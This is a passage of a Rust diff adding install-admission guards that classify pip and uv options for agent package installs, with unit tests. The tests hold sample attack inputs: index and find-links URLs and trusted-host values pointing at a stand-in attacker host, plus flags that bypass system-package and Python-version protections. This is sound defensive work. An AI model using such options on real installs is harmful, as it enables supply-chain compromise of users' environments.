`--t` remains ambiguous with other pip +/// options. Classify only the accepted direct-pip abbreviation language here; +/// canonical `--trusted-host` remains covered by the generic exact-option guard. +/// PEP 493 documents why server-certificate verification is a transport trust +/// boundary rather than package identity: . +fn requests_pip_trusted_host_abbreviation(argument: &str) -> bool { + is_unambiguous_long_option_prefix( + option_name(argument), + PIP_TRUSTED_HOST_CANONICAL, + PIP_TRUSTED_HOST_SHORTEST_ACCEPTED_PREFIX, + ) +} + +fn option_name(argument: &str) -> &str { + argument + .split_once('=') + .map_or(argument, |(option, _)| option) +} + +fn is_unambiguous_long_option_prefix( + option: &str, + canonical: &str, + shortest_accepted_prefix: &str, +) -> bool { + option.len() >= shortest_accepted_prefix.len() + && option != canonical + && canonical.starts_with(option) +} + +#[cfg(test)] +mod tests { + use super::{ + is_reviewed_pip_no_index_selector, is_reviewed_pip_registry_value_selector, + requests_pip_source_selector_abbreviation, requests_pip_trusted_host_abbreviation, + }; + + #[test] + fn pip_source_selector_abbreviations_are_bounded_to_accepted_prefixes() { + for option in [ + "--in=https://attacker.invalid/simple", + "--index-u=https://attacker.invalid/simple", + "--ext=https://attacker.invalid/simple", + "--extra-index-u=https://attacker.invalid/simple", + "--fi=https://attacker.invalid/simple", + "--find-l=https://attacker.invalid/simple", + "--no-ind", + ] { + assert!( + requests_pip_source_selector_abbreviation(option), + "accepted pip source-selector abbreviation must be classified: {option}" + ); + } + + for option in [ + "--i=https://attacker.invalid/simple", + "--ex=https://attacker.invalid/simple", + "--f=https://attacker.invalid/simple", + "--no-i", + "--index-url=https://attacker.invalid/simple", + "--extra-index-url=https://attacker.invalid/simple", + "--find-links=https://attacker.invalid/simple", + "--no-index", + "--no-deps", + ] { + assert!( + !requests_pip_source_selector_abbreviation(option), + "ambiguous, full, or unrelated option must not be classified as a pip abbreviation: {option}" + ); + } + } + + #[test] + fn pip_trusted_host_abbreviations_are_bounded_to_verified_prefixes() { + for option in [ + "--tr=attacker.invalid", + "--tru=attacker.invalid", + "--trusted-h=attacker.invalid", + ] { + assert!( + requests_pip_trusted_host_abbreviation(option), + "accepted pip trusted-host abbreviation must be classified: {option}" + ); + } + + for option in [ + "--t=attacker.invalid", + "--trusted-host=attacker.invalid", + "--trusted-host-extra=attacker.invalid", + "--timeout=10", + ] { + assert!( + !requests_pip_trusted_host_abbreviation(option), + "ambiguous, canonical, or unrelated option must not be classified as a pip abbreviation: {option}" + ); + } + } + + #[test] + fn reviewed_global_registry_value_selectors_share_the_verified_language() { + for option in [ + "--index-url", + "--in", + "--extra-index-url", + "--ext", + "--find-links", + "--fi", + "--trusted-host", + "--tr", + ] { + assert!(is_reviewed_pip_registry_value_selector(option)); + } + + for option in ["--i", "--ex", "--f", "--t", "--no-index", "--no-ind"] { + assert!(!is_reviewed_pip_registry_value_selector(option)); + } + } + + #[test] + fn reviewed_global_no_index_selector_is_value_less_and_bounded() { + for option in ["--no-index", "--no-ind", "--no-inde"] { + assert!(is_reviewed_pip_no_index_selector(option)); + } + + for option in ["--no-i", "--no-index=value", "--no-ind=value", "--no-deps"] { + assert!(!is_reviewed_pip_no_index_selector(option)); + } + } +} diff --git a/crates/agent-artifact-admission/src/pypi_requires_python_authority.rs b/crates/agent-artifact-admission/src/pypi_requires_python_authority.rs new file mode 100644 index 00000000..fed8c2c0 --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_requires_python_authority.rs @@ -0,0 +1,77 @@ +use crate::InstallIntent; + +/// Return whether a direct pip install explicitly disables publisher-declared +/// `Requires-Python` compatibility enforcement. +pub(crate) fn requests_pypi_requires_python_override(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + let arguments = &intent.argv[1..]; + + matches!(executable, "pip" | "pip3") + && arguments + .first() + .is_some_and(|argument| argument == "install") + && arguments + .iter() + .skip(1) + .any(|argument| argument == "--ignore-requires-python") +} + +#[cfg(test)] +mod tests { + use super::requests_pypi_requires_python_override; + use crate::{ArtifactCoordinate, InstallIntent, InstructionSource, InstructionSourceKind}; + + #[test] + fn direct_pip_matches_only_the_canonical_compatibility_override() { + for executable in ["pip", "pip3"] { + assert!(requests_pypi_requires_python_override(&intent_with_argv( + executable, + vec!["install", "pkg==1", "--ignore-requires-python"] + ))); + assert!(!requests_pypi_requires_python_override(&intent_with_argv( + executable, + vec!["install", "pkg==1", "--ignore-requires-python-extra"] + ))); + } + + assert!(!requests_pypi_requires_python_override(&intent_with_argv( + "uv", + vec!["pip", "install", "pkg==1", "--ignore-requires-python"] + ))); + assert!(!requests_pypi_requires_python_override(&intent_with_argv( + "pip", + vec!["download", "pkg==1", "--ignore-requires-python"] + ))); + } + + fn intent_with_argv(executable: &str, arguments: Vec<&str>) -> InstallIntent { + let mut argv = vec![executable.to_string()]; + argv.extend(arguments.into_iter().map(str::to_string)); + InstallIntent { + request_id: "req-requires-python-unit".to_string(), + actor_id: "agent:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "pkg".to_string(), + version: "1".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "owner".to_string(), + sha256: "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + .to_string(), + artifact_argument: "pkg==1".to_string(), + }], + } + } +} diff --git a/crates/agent-artifact-admission/src/pypi_system_package_authority.rs b/crates/agent-artifact-admission/src/pypi_system_package_authority.rs new file mode 100644 index 00000000..98b3b067 --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_system_package_authority.rs @@ -0,0 +1,106 @@ +use crate::InstallIntent; +use crate::policy::uv_active_command_index; + +/// Return whether a pip-compatible install asks to override the +/// externally-managed-environment protection required by the reviewed intent. +pub(crate) fn requests_pypi_system_package_override(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + let arguments = &intent.argv[1..]; + + match executable { + "pip" | "pip3" + if arguments + .first() + .is_some_and(|argument| argument == "install") => + { + arguments + .iter() + .skip(1) + .any(|argument| matches_break_system_packages_option(argument)) + } + "uv" => { + let Some(pip_index) = uv_active_command_index(arguments) else { + return false; + }; + if arguments[pip_index] != "pip" + || !arguments + .get(pip_index + 1) + .is_some_and(|argument| argument == "install") + { + return false; + } + + arguments + .iter() + .skip(pip_index + 2) + .any(|argument| matches_uv_break_system_packages_option(argument)) + } + _ => false, + } +} + +/// pip uses Python optparse, which accepts an unambiguous long-option prefix. +/// At the reviewed upstream option set `--b` is ambiguous with +/// `--build-constraint`, while `--br` is the shortest accepted prefix of +/// `--break-system-packages`. +fn matches_break_system_packages_option(argument: &str) -> bool { + matches!( + argument, + "--br" + | "--bre" + | "--brea" + | "--break" + | "--break-" + | "--break-s" + | "--break-sy" + | "--break-sys" + | "--break-syst" + | "--break-syste" + | "--break-system" + | "--break-system-" + | "--break-system-p" + | "--break-system-pa" + | "--break-system-pac" + | "--break-system-pack" + | "--break-system-packa" + | "--break-system-packag" + | "--break-system-package" + | "--break-system-packages" + ) +} + +/// uv uses clap-style exact long options for this safety boundary. Do not +/// inherit pip's optparse long-option abbreviation semantics. +fn matches_uv_break_system_packages_option(argument: &str) -> bool { + argument == "--break-system-packages" +} + +#[cfg(test)] +mod tests { + use super::{matches_break_system_packages_option, matches_uv_break_system_packages_option}; + + #[test] + fn direct_pip_preserves_reviewed_optparse_prefix_semantics() { + assert!(matches_break_system_packages_option("--br")); + assert!(matches_break_system_packages_option( + "--break-system-packages" + )); + assert!(!matches_break_system_packages_option("--b")); + } + + #[test] + fn uv_accepts_only_the_exact_documented_safety_override() { + assert!(matches_uv_break_system_packages_option( + "--break-system-packages" + )); + assert!(!matches_uv_break_system_packages_option("--br")); + assert!(!matches_uv_break_system_packages_option( + "--break-system-package" + )); + assert!(!matches_uv_break_system_packages_option( + "--break-system-packages=true" + )); + } +} diff --git a/crates/agent-artifact-admission/src/uv_bytecode_compilation_authority.rs b/crates/agent-artifact-admission/src/uv_bytecode_compilation_authority.rs new file mode 100644 index 00000000..edd9bda8 --- /dev/null +++ b/crates/agent-artifact-admission/src/uv_bytecode_compilation_authority.rs @@ -0,0 +1,139 @@ +use crate::InstallIntent; +use crate::policy::{uv_active_command_index, uv_run_owned_argument_end}; + +/// Return whether uv is asked to eagerly generate interpreter-dependent bytecode +/// outside the reviewed artifact identity. Supported `uv pip install` keeps its +/// existing option-phase semantics; unsupported `uv run` is classified only +/// through uv-owned argv before delegation to the child command. +pub(crate) fn requests_unapproved_uv_bytecode_compilation(intent: &InstallIntent) -> bool { + requests_bytecode_compilation(&intent.argv) +} + +/// Classify exact uv-owned compile selectors without reinterpreting delegated +/// child argv. The caller remains responsible for the separate allow/deny command +/// decision; this function only supplies causal generated-artifact evidence. +fn requests_bytecode_compilation(argv: &[String]) -> bool { + let Some(executable) = argv.first().map(String::as_str) else { + return false; + }; + if executable != "uv" { + return false; + } + + let arguments = &argv[1..]; + let Some(command_index) = uv_active_command_index(arguments) else { + return false; + }; + + if arguments[command_index] == "pip" + && arguments + .get(command_index + 1) + .is_some_and(|argument| argument == "install") + { + return arguments[command_index + 2..] + .iter() + .take_while(|argument| argument.as_str() != "--") + .any(|argument| is_compile_selector(argument)); + } + + if arguments[command_index] != "run" { + return false; + } + + arguments[..uv_run_owned_argument_end(arguments, command_index)] + .iter() + .any(|argument| is_compile_selector(argument)) +} + +/// Match only Astral's documented eager bytecode selectors; nearby spellings are +/// intentionally not normalized into policy authority. +fn is_compile_selector(argument: &str) -> bool { + matches!(argument, "--compile-bytecode" | "--compile") +} + +#[cfg(test)] +mod tests { + use super::requests_bytecode_compilation; + + fn argv(arguments: &[&str]) -> Vec { + arguments + .iter() + .map(|argument| (*argument).to_string()) + .collect() + } + + #[test] + fn matcher_preserves_uv_pip_install_option_phase() { + for arguments in [ + vec!["uv", "pip", "install", "pkg==1", "--compile-bytecode"], + vec!["uv", "pip", "install", "--compile", "pkg==1"], + vec![ + "uv", + "--color", + "never", + "pip", + "install", + "pkg==1", + "--compile-bytecode", + ], + ] { + assert!(requests_bytecode_compilation(&argv(&arguments))); + } + + for arguments in [ + vec![], + vec!["pip", "install", "--compile"], + vec!["uv", "sync", "install", "--compile"], + vec!["uv", "pip", "sync", "--compile"], + vec!["uv", "pip", "install", "pkg==1"], + vec!["uv", "pip", "install", "pkg==1", "--", "--compile"], + vec![ + "uv", + "--color", + "never", + "pip", + "sync", + "pkg==1", + "--compile-bytecode", + ], + ] { + assert!( + !requests_bytecode_compilation(&argv(&arguments)), + "non-install or option-terminated compile-like operands must not claim bytecode authority: {arguments:?}" + ); + } + } + + #[test] + fn matcher_classifies_only_uv_owned_run_compile_selectors() { + for arguments in [ + vec!["uv", "run", "--compile-bytecode", "pkg==1"], + vec!["uv", "run", "--compile", "pkg==1"], + vec![ + "uv", + "--color", + "auto", + "run", + "--compile-bytecode", + "pkg==1", + ], + ] { + assert!( + requests_bytecode_compilation(&argv(&arguments)), + "uv-owned run selector must retain bytecode-materialization authority: {arguments:?}" + ); + } + + for arguments in [ + vec!["uv", "run", "pkg==1", "--compile-bytecode"], + vec!["uv", "run", "pkg==1", "--compile"], + vec!["uv", "run", "--", "--compile-bytecode"], + vec!["uv", "run", "--compile-bytecodex", "pkg==1"], + ] { + assert!( + !requests_bytecode_compilation(&argv(&arguments)), + "delegated or nearby compile-like argv must not be reinterpreted as uv authority: {arguments:?}" + ); + } + } +} diff --git a/crates/agent-artifact-admission/src/uv_configuration_authority.rs b/crates/agent-artifact-admission/src/uv_configuration_authority.rs new file mode 100644 index 00000000..d0a95f88 --- /dev/null +++ b/crates/agent-artifact-admission/src/uv_configuration_authority.rs @@ -0,0 +1,55 @@ +use crate::InstallIntent; +use crate::policy::{uv_active_command_index, uv_run_owned_argument_end}; + +/// Return whether an approved uv install delegates package-source or trust +/// authority to caller-selected uv configuration. +pub(crate) fn requests_unapproved_uv_configuration_authority(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if executable != "uv" { + return false; + } + + let arguments = &intent.argv[1..]; + let active_command_index = uv_active_command_index(arguments); + let configuration_arguments = match active_command_index { + Some(run_index) if arguments[run_index] == "run" => { + &arguments[..uv_run_owned_argument_end(arguments, run_index)] + } + _ => arguments, + }; + + if configuration_arguments.iter().any(|argument| { + argument == "--directory" + || argument.starts_with("--directory=") + || argument == "--config-file" + || argument.starts_with("--config-file=") + }) { + return true; + } + + if active_command_index.is_some_and(|index| arguments[index] == "run") + && configuration_arguments + .iter() + .any(|argument| argument == "--project" || argument.starts_with("--project=")) + { + return true; + } + + let Some(pip_index) = active_command_index else { + return false; + }; + if arguments[pip_index] != "pip" + || !arguments + .get(pip_index + 1) + .is_some_and(|argument| argument == "install") + { + return false; + } + + arguments + .iter() + .skip(pip_index + 2) + .any(|argument| argument == "--torch-backend" || argument.starts_with("--torch-backend=")) +} diff --git a/crates/agent-artifact-admission/src/uv_index_strategy_authority.rs b/crates/agent-artifact-admission/src/uv_index_strategy_authority.rs new file mode 100644 index 00000000..4890f0bc --- /dev/null +++ b/crates/agent-artifact-admission/src/uv_index_strategy_authority.rs @@ -0,0 +1,242 @@ +use crate::InstallIntent; +use crate::policy::uv_active_command_index; + +const UV_INDEX_STRATEGY: &str = "--index-strategy"; +const FIRST_INDEX: &str = "first-index"; +const UNSAFE_FIRST_MATCH: &str = "unsafe-first-match"; +const UNSAFE_BEST_MATCH: &str = "unsafe-best-match"; + +/// Return whether submitted `uv pip install` argv asks uv to search across +/// index trust boundaries instead of retaining uv's dependency-confusion-safe +/// `first-index` selection rule. Reviewed top-level uv options remain visible +/// to causal evidence attribution even though they do not widen the supported +/// install-command grammar. +pub(crate) fn requests_unsafe_uv_index_strategy(intent: &InstallIntent) -> bool { + let Some(arguments) = uv_pip_install_arguments_for_evidence(intent) else { + return false; + }; + + for (index, argument) in arguments.iter().enumerate() { + if argument == "--" { + break; + } + if let Some(value) = argument.strip_prefix("--index-strategy=") { + if is_unsafe_strategy(value) { + return true; + } + continue; + } + if argument == UV_INDEX_STRATEGY + && arguments + .get(index + 1) + .is_some_and(|value| is_unsafe_strategy(value)) + { + return true; + } + } + false +} + +/// Normalize only documented separate-value `uv pip install --index-strategy` +/// grammar so the strategy token is not mistaken for a package operand. The +/// selector itself remains in argv for ordinary command-policy validation. +/// This deliberately stays narrower than evidence attribution: top-level uv +/// options are still unsupported install grammar and must remain forbidden. +pub(crate) fn normalize_reviewed_uv_index_strategy_value( + intent: &InstallIntent, +) -> Option { + let arguments = supported_uv_pip_install_arguments(intent)?; + let mut value_indexes = Vec::new(); + + for (index, argument) in arguments.iter().enumerate() { + if argument == "--" { + break; + } + if argument != UV_INDEX_STRATEGY { + continue; + } + let Some(value) = arguments.get(index + 1) else { + continue; + }; + if is_documented_strategy(value) { + // `arguments` starts at argv[3], so its following value maps to + // argv[index + 4]. + value_indexes.push(index + 4); + } + } + + if value_indexes.is_empty() { + return None; + } + + let mut normalized = intent.clone(); + for index in value_indexes.into_iter().rev() { + normalized.argv.remove(index); + } + Some(normalized) +} + +fn uv_pip_install_arguments_for_evidence(intent: &InstallIntent) -> Option<&[String]> { + if intent.argv.first().map(String::as_str) != Some("uv") { + return None; + } + + let arguments = &intent.argv[1..]; + let command_index = uv_active_command_index(arguments)?; + if arguments.get(command_index).map(String::as_str) != Some("pip") + || arguments.get(command_index + 1).map(String::as_str) != Some("install") + { + return None; + } + + Some(&arguments[command_index + 2..]) +} + +fn supported_uv_pip_install_arguments(intent: &InstallIntent) -> Option<&[String]> { + if intent.argv.first().map(String::as_str) != Some("uv") + || intent.argv.get(1).map(String::as_str) != Some("pip") + || intent.argv.get(2).map(String::as_str) != Some("install") + { + return None; + } + Some(&intent.argv[3..]) +} + +fn is_documented_strategy(value: &str) -> bool { + matches!(value, FIRST_INDEX | UNSAFE_FIRST_MATCH | UNSAFE_BEST_MATCH) +} + +fn is_unsafe_strategy(value: &str) -> bool { + matches!(value, UNSAFE_FIRST_MATCH | UNSAFE_BEST_MATCH) +} + +#[cfg(test)] +mod tests { + use super::{normalize_reviewed_uv_index_strategy_value, requests_unsafe_uv_index_strategy}; + use crate::InstallIntent; + + fn intent(arguments: &[&str]) -> InstallIntent { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = arguments.iter().map(|value| (*value).to_string()).collect(); + intent + } + + #[test] + fn matcher_is_exact_and_bounded_to_uv_pip_install_evidence() { + for argv in [ + vec![ + "uv", + "pip", + "install", + "pkg", + "--index-strategy=unsafe-best-match", + ], + vec![ + "uv", + "pip", + "install", + "pkg", + "--index-strategy", + "unsafe-first-match", + ], + vec![ + "uv", + "--color", + "never", + "pip", + "install", + "pkg", + "--index-strategy=unsafe-best-match", + ], + ] { + assert!(requests_unsafe_uv_index_strategy(&intent(&argv))); + } + + for argv in [ + vec![ + "uv", + "pip", + "install", + "pkg", + "--index-strategy=first-index", + ], + vec![ + "uv", + "pip", + "install", + "pkg", + "--index-strateg=unsafe-best-match", + ], + vec!["uv", "run", "python", "--index-strategy=unsafe-best-match"], + vec![ + "uv", + "--color", + "never", + "pip", + "sync", + "pkg", + "--index-strategy=unsafe-best-match", + ], + vec![ + "uv", + "pip", + "install", + "pkg", + "--", + "--index-strategy=unsafe-best-match", + ], + ] { + assert!(!requests_unsafe_uv_index_strategy(&intent(&argv))); + } + } + + #[test] + fn normalizer_consumes_only_documented_separate_strategy_values() { + let separate = intent(&[ + "uv", + "pip", + "install", + "pkg", + "--index-strategy", + "first-index", + ]); + let normalized = normalize_reviewed_uv_index_strategy_value(&separate) + .expect("documented separate strategy value must normalize"); + assert_eq!( + normalized.argv, + vec!["uv", "pip", "install", "pkg", "--index-strategy"] + ); + + for argv in [ + vec![ + "uv", + "pip", + "install", + "pkg", + "--index-strategy", + "future-mode", + ], + vec![ + "uv", + "pip", + "install", + "pkg", + "--", + "--index-strategy", + "first-index", + ], + vec![ + "uv", + "--color", + "never", + "pip", + "install", + "pkg", + "--index-strategy", + "first-index", + ], + ] { + assert!(normalize_reviewed_uv_index_strategy_value(&intent(&argv)).is_none()); + } + } +} diff --git a/crates/agent-artifact-admission/src/uv_link_mode_authority.rs b/crates/agent-artifact-admission/src/uv_link_mode_authority.rs new file mode 100644 index 00000000..7a7d8118 --- /dev/null +++ b/crates/agent-artifact-admission/src/uv_link_mode_authority.rs @@ -0,0 +1,138 @@ +use crate::InstallIntent; +use crate::policy::uv_active_command_index; + +/// Return whether submitted `uv pip install` argv explicitly selects symlink +/// materialization from uv's shared cache. Reviewed top-level uv options remain +/// visible to causal evidence attribution even though they do not widen the +/// supported install-command grammar. +pub(crate) fn requests_unapproved_uv_symlink_link_mode(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if executable != "uv" { + return false; + } + + let arguments = &intent.argv[1..]; + let Some(command_index) = uv_active_command_index(arguments) else { + return false; + }; + if arguments.get(command_index).map(String::as_str) != Some("pip") + || arguments.get(command_index + 1).map(String::as_str) != Some("install") + { + return false; + } + + let install_arguments = &arguments[command_index + 2..]; + install_arguments + .iter() + .enumerate() + .any(|(index, argument)| { + argument == "--link-mode=symlink" + || (argument == "--link-mode" + && install_arguments + .get(index + 1) + .is_some_and(|value| value == "symlink")) + }) +} + +#[cfg(test)] +mod tests { + use super::requests_unapproved_uv_symlink_link_mode; + use crate::{ArtifactCoordinate, InstallIntent, InstructionSource, InstructionSourceKind}; + + fn intent(argv: &[&str]) -> InstallIntent { + InstallIntent { + request_id: "req-uv-link-mode-unit".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: argv.iter().map(|value| (*value).to_string()).collect(), + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }], + } + } + + #[test] + fn uv_symlink_matcher_accepts_only_explicit_symlink_materialization() { + for argv in [ + vec![ + "uv", + "pip", + "install", + "cwl-example==1.2.3", + "--link-mode=symlink", + ], + vec![ + "uv", + "pip", + "install", + "cwl-example==1.2.3", + "--link-mode", + "symlink", + ], + vec![ + "uv", + "--color", + "never", + "pip", + "install", + "cwl-example==1.2.3", + "--link-mode=symlink", + ], + ] { + assert!(requests_unapproved_uv_symlink_link_mode(&intent(&argv))); + } + + for argv in [ + vec![ + "uv", + "pip", + "install", + "cwl-example==1.2.3", + "--link-mode=copy", + ], + vec![ + "uv", + "--color", + "never", + "pip", + "sync", + "requirements.txt", + "--link-mode=symlink", + ], + vec![ + "uv", + "--color", + "never", + "pip", + "install", + "cwl-example==1.2.3", + "--link-modex=symlink", + ], + vec![ + "pip", + "install", + "cwl-example==1.2.3", + "--link-mode=symlink", + ], + ] { + assert!(!requests_unapproved_uv_symlink_link_mode(&intent(&argv))); + } + } +} diff --git a/crates/agent-artifact-admission/src/uv_python_download_safety.rs b/crates/agent-artifact-admission/src/uv_python_download_safety.rs new file mode 100644 index 00000000..e2cb3c67 --- /dev/null +++ b/crates/agent-artifact-admission/src/uv_python_download_safety.rs @@ -0,0 +1,127 @@ +use crate::InstallIntent; +use crate::policy::uv_active_command_index; + +/// Return whether an active `uv pip install` can implicitly acquire a Python +/// distribution that is absent from the reviewed artifact set. +pub(crate) fn misses_required_uv_python_download_guard(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if executable != "uv" { + return false; + } + + let arguments = &intent.argv[1..]; + let Some(command_index) = uv_active_command_index(arguments) else { + return false; + }; + if arguments[command_index] != "pip" + || !arguments + .get(command_index + 1) + .is_some_and(|argument| argument == "install") + { + return false; + } + + !arguments + .iter() + .take_while(|argument| argument.as_str() != "--") + .any(|argument| argument == "--no-python-downloads") +} + +#[cfg(test)] +mod tests { + use super::misses_required_uv_python_download_guard; + use crate::{ArtifactCoordinate, InstallIntent, InstructionSource, InstructionSourceKind}; + + #[test] + fn exact_guard_is_required_for_active_uv_pip_install() { + for arguments in [ + vec!["uv", "pip", "install", "pkg==1"], + vec!["uv", "pip", "install", "pkg==1", "--no-python-download"], + vec![ + "uv", + "pip", + "install", + "pkg==1", + "--no-python-downloads=false", + ], + vec![ + "uv", + "pip", + "install", + "pkg==1", + "--", + "--no-python-downloads", + ], + ] { + assert!( + misses_required_uv_python_download_guard(&intent(&arguments)), + "missing, near, assigned, or option-terminated selectors must not authorize implicit Python acquisition: {arguments:?}" + ); + } + + for arguments in [ + vec!["uv", "pip", "install", "pkg==1", "--no-python-downloads"], + vec!["uv", "--no-python-downloads", "pip", "install", "pkg==1"], + vec![ + "uv", + "--color", + "never", + "--no-python-downloads", + "pip", + "install", + "pkg==1", + ], + ] { + assert!( + !misses_required_uv_python_download_guard(&intent(&arguments)), + "the exact uv-owned disable flag must satisfy the artifact-cardinality guard: {arguments:?}" + ); + } + } + + #[test] + fn non_install_uv_commands_do_not_claim_python_download_safety_authority() { + for arguments in [ + vec!["uv", "pip", "sync", "pkg==1"], + vec!["uv", "run", "pkg==1"], + vec!["pip", "install", "pkg==1"], + ] { + assert!( + !misses_required_uv_python_download_guard(&intent(&arguments)), + "only active uv pip install belongs to this admission guard: {arguments:?}" + ); + } + } + + fn intent(arguments: &[&str]) -> InstallIntent { + InstallIntent { + request_id: "req-uv-python-download-unit".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: arguments + .iter() + .map(|argument| (*argument).to_string()) + .collect(), + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "pkg".to_string(), + version: "1".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + .to_string(), + artifact_argument: "pkg==1".to_string(), + }], + } + } +} diff --git a/crates/agent-artifact-admission/tests/admission_contract.rs b/crates/agent-artifact-admission/tests/admission_contract.rs new file mode 100644 index 00000000..8470b133 --- /dev/null +++ b/crates/agent-artifact-admission/tests/admission_contract.rs @@ -0,0 +1,244 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSourceKind, admission_decision, is_sha256_hex, sha256_hex, +}; + +#[test] +fn unowned_package_from_llms_txt_is_blocked() { + let policy = AdmissionPolicy::deny_all_for_test(); + let intent = InstallIntent::unowned_llms_package_for_test(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision.as_str(), "block"); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved") + ); +} + +#[test] +fn exact_policy_match_is_allowed() { + let mut policy = AdmissionPolicy::deny_all_for_test(); + policy.policy_id = "enterprise-default".to_string(); + policy.policy_revision = "2026-08-28.1".to_string(); + policy.allowed_executables = vec!["cargo".to_string()]; + policy.approved_manifests = vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }]; + policy.approved_artifacts = vec![ApprovedArtifact { + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://crates.io".to_string(), + owner: "Unowned".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example@1.2.3".to_string(), + }]; + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "cargo".to_string(), + "install".to_string(), + "cwl-example@1.2.3".to_string(), + "--locked".to_string(), + ]; + intent.artifacts[0].ecosystem = "cargo".to_string(); + intent.artifacts[0].name = "cwl-example".to_string(); + intent.artifacts[0].registry_url = "https://crates.io".to_string(); + intent.artifacts[0].artifact_argument = "cwl-example@1.2.3".to_string(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); + assert_eq!(decision.policy_id, "enterprise-default"); + assert_eq!(decision.policy_revision, "2026-08-28.1"); +} + +#[test] +fn duplicate_artifact_argument_blocks() { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent + .argv + .push(intent.artifacts[0].artifact_argument.clone()); + let mut policy = AdmissionPolicy::deny_all_for_test(); + policy.allowed_executables = vec!["npm".to_string()]; + policy.approved_manifests = vec![ApprovedManifest { + workspace_id: intent.workspace_id.clone(), + sha256: intent.manifest_sha256.clone(), + }]; + policy.approved_artifacts = vec![ApprovedArtifact { + ecosystem: "npm".to_string(), + name: "@unowned/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "Unowned".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "@unowned/example@1.2.3".to_string(), + }]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved") + ); +} + +#[test] +fn sha256_helpers_match_known_vectors() { + assert!(is_sha256_hex( + "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + )); + assert!(!is_sha256_hex("ABC")); + assert_eq!( + sha256_hex(b""), + "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + ); + assert_eq!( + sha256_hex(b"abc"), + "ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad" + ); +} + +#[test] +fn artifact_coordinates_round_trip_with_strict_json() { + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd".to_string(), + artifact_argument: "@cwl/example@1.2.3".to_string(), + }; + + let encoded = serde_json::to_string(&artifact).unwrap(); + let decoded: ArtifactCoordinate = serde_json::from_str(&encoded).unwrap(); + assert_eq!(decoded, artifact); + assert!(serde_json::from_str::( + 